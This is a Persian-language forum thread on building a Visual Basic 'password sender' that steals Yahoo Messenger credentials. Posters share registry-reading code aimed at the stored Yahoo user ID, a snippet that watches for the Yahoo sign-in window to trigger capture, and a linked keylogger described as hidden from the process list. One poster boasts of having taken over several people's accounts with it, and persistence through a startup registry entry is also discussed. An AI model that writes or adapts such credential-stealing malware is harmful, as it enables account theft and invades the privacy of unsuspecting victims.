چگونه مي شود با وي بي يه پس سندر ساخت؟

الآن فايل pdf رو يه نگاه كردم و ديدم در مورد RegEnumValueA توضيحي نداده. در موردش يه توضيح مختصر ميدم. اين API براي سرچ يه Value در يك كليد باز شده هست. اين تعريف تابع
Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
اول با RegOpenKeyExA كليد رو باز ميكني و به كمك يه حلقه Value مورد نظرت رو سرچ ميكني.
البته ممكنه روش ساده تري هم باشه ولي من هميشه با اين API كار كردم و بهش عادت كردم.

اين كد رو كه ميزارم يك key logger هست كه با گذاشتن يك if ميشه راحت كاري كرد كه فقط يوزر پسورد ياهو رو بگيره و تو يك فايل كه خود برنامه توشه سيو كنه و البته در process هم مخفيه با رجيستري هم كار نميكنه من خودم با همين كد اي دي چند نفر رو زدم
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
راستي بهتره كه فايل رو اول exe كني بعد باهاش كار كني

نقل قول:

---

نوشته شده توسط Payman_62

گفتم كه با RegOpenKeyExA كليدي كه Value مورد نظر توش هست رو باز كن و با RegEnumValueA ميتوني Value مورد نظرت رو سرچ كني. اون كليد كه بايد باز شه HKEY_CURRENT_USER\Software\yahoo\Pager هست و value كه بايد تو اين كليد باز شده سرچ شه ميتونه مثلا Yahoo! User ID باشه. بايد ببيني با توجه به كلك رشتي كه ميخواي بزني رو كدوم value ها بايد كار كني. حالا ببين تو اون فايل pdf كدوم ثابت ها و تعاريف مربوط به اين دو تا API ميشن و اونارو كپي كن.
حالا فعلا با همين 2 API رجيستري كار داريم. ولي در ادامه كار ممكنه API هاي ديگر هم نياز شن. مثل RegCreateKeyExA براي قرار دادن برنامت در استارت آپ كه اونم تو فايل pdf كه گذاشتي توضيح داده شده.
راستي نگفتي چه جوري ميخواي سيو پسورد رو بر ميداري.

---

ببين اقا پيمان يه مثال بزن كار ما رابيوفته تو يه بگو از تو اون فايل pdf كه گزاشتم كدوم كدا حتما بايد تو فورم باشه
كه من اونا رو بنويسم بعد با تابع regOpenKeyExa اونو باز كنم

مثال يادت نره دمت گرم منتظرتم

اقا چيشد من به يادگيري ريجستري نياز مبرم دارم اگه كمك نميكني اقا پيمان يه تايپيك بزنم بچه هاي ديگه ياد بدن.

اين هم يه كد با رجيستري كه فقط پسورد ياهو رو ميگيره اگه اون كد خودت رو هم تهش اضافه كني برات سند هم ميكنه
فقط يه چيزي:
Private Sub Timer2_Timer()
returnvalue = GetCaption(GetForegroundWindow)
If returnvalue = "Sign In" Then
Timer1.Enabled = True
End If
If returnvalue = "Yahoo! Messenger" Or returnvalue = "Yahoo! Messenger - Invisible" And Text1 <> "" Then تو اين قسمت بايد caption جديد Yahoo! messenger With Voice Or Yahرو وارد كني
Call check
End If
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
End Sub

اينا براي RegOpenKeyExA

کد:

---

Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROL
Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROL
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL

Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long

---

اين براي RegEnumValueA

کد:

---

Private Const ERROR_NO_MORE_ITEMS = 259&
Private Declare Function RegEnumValueA Lib "advapi32" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

---

hKey هندل كليدي كه با RegOpenKeyExA بازش كردي.
dwIndex ايندكس value ها.
lpValueName اسم value
lpcbValueName طول رشته value
lpReserved صفر قرار بده
lpType صفر قرار بده
lpData مقدار value
lpcbData طول رشته مقدار value

اين براي RegCloseKey

کد:

---

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

---

اينم يه كد براي سرچ تو يه كليد

کد:

---

Private Sub Form_Load()
Dim hKey As Long, Cnt As Long, Ret As Long, RetData As Long
Dim sName As String, sData As String, strRegValueName As String, strRegValue As String
Const BUFFER_SIZE As Long = 255
    RegOpenKeyExA HKEY_CURRENT_USER, "Software\yahoo\Pager", 0, KEY_READ, hKey
    sName = Space(BUFFER_SIZE)
    sData = Space(BUFFER_SIZE)
    Ret = BUFFER_SIZE
    RetData = BUFFER_SIZE
    Cnt = 0
    While RegEnumValueA(hKey, Cnt, sName, Ret, 0, ByVal 0&, ByVal sData, RetData) <> ERROR_NO_MORE_ITEMS
        strRegValue = Left$(sName, Ret) & Chr(61) & Left$(sData, RetData - 1)
        strRegValueName = Left$(sName, Ret)
        If UCase(strRegValueName) = UCase("Yahoo! User ID") Then
            'har kari lazeme bekon
        End If
        Cnt = Cnt + 1
        sName = Space(BUFFER_SIZE)
        sData = Space(BUFFER_SIZE)
        Ret = BUFFER_SIZE
        RetData = BUFFER_SIZE
    Wend
    RegCloseKey hKey
End Sub

---

اقا پيمان دمت گرم برم ببينم چيزي مي فهمم

اقا پيمان من اين كدا رو نوشتم تا امتحاني يه مقدار valu بيارم تو يه تكس اما خطا داشت ميشه بگي مشكلش كجاست؟
Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROL
Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROL
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL

Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long

Private Sub Command1_Click()
Text1 = RegOpenKeyExA("HKEY_CURRENT_CONFIG\Softwar\Fonts\F ONTS.FON")

End Sub

اشكالات:
1- آرگومان هاي تابع رو درست ست نكردي. شما به تعريف RegOpenKeyExA نگاه كن.

کد:

---

Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long

---

بايد براي همه اين آرگومان ها مقداري به تابع بفرستي. اين تابع 5 تا پارامتر داره.
hKey : مشخص ميكني سرشاخه مسيرت كجاست. از اين ثابت ها استفاده كن.

کد:

---

Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004

---

lpSubKey : مسير كليدت رو مينويسي.
ulOptions : مقدار 0 قرار بده.
samDesired : سطح دسترسي رو مشخص كن. از اين ثابت ها استفاده كن.

کد:

---

Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROL
Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROL
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL

---

phkResult : هندل كليدي كه آدرسشو دادي و بازش كردي براي اينكه روش كار انجام بدي.

2-شما نميتوني RegOpenKeyExA رو مساوي تكس باكس قرار بدي. مثلا نتيجه اين كد

کد:

---

RE = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\yahoo\Pager", 0, KEY_READ, hKey)

---

ميتونه 0 يا 2 يا ... باشه. اگه 0 باشه يعني كار با موفقيت انجام شده. ولي اگر عدد ديگري باشه نشان دهنده شماره خطاست.

3-RegOpenKeyExA فقط يه هندل بهت ميده تا رو كليد مورد نظر كار كني. و اگه ميخواي مقداري رو از داخل آن كليد بخوني و تو تكس باكس بريزي بايد از توابع ديگه مثل RegEnumValueA كمك بگيري.

خاب قربون دستت يه كد اينجا بنويس كه اينو Software\yahoo\Pager بريزه تو يه تكس من ديگه بقيشو مي فهمم